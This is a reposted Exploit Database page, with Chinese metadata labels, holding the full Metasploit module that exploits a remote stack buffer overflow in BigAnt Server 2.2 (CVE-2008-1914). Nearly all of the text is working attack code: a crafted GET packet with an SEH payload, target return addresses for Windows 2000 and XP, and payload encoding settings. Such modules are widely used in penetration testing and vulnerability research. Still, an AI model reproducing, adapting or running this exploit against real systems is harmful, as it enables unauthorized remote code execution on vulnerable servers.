BigAnt Server 2.2 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16430/

• ##
  # $Id: bigant_server.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BigAnt Server 2.2 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in BigAnt Server 2.2.
  				By sending a specially crafted packet, an attacker may be
  				able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-1914' ],
  					[ 'OSVDB', '44454' ],
  					[ 'BID', '28795' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops'=>'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ],
  					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Apr 15 2008'))
  
  		register_options([Opt::RPORT(6080)], self.class)
  	end
  
  	def exploit
  		connect
  
  		sploit ="GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
  		sploit << rand_text_alpha_upper(1024 - payload.encoded.length)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit + "\n\n")
  
  		handler
  		disconnect
  	end
  
  end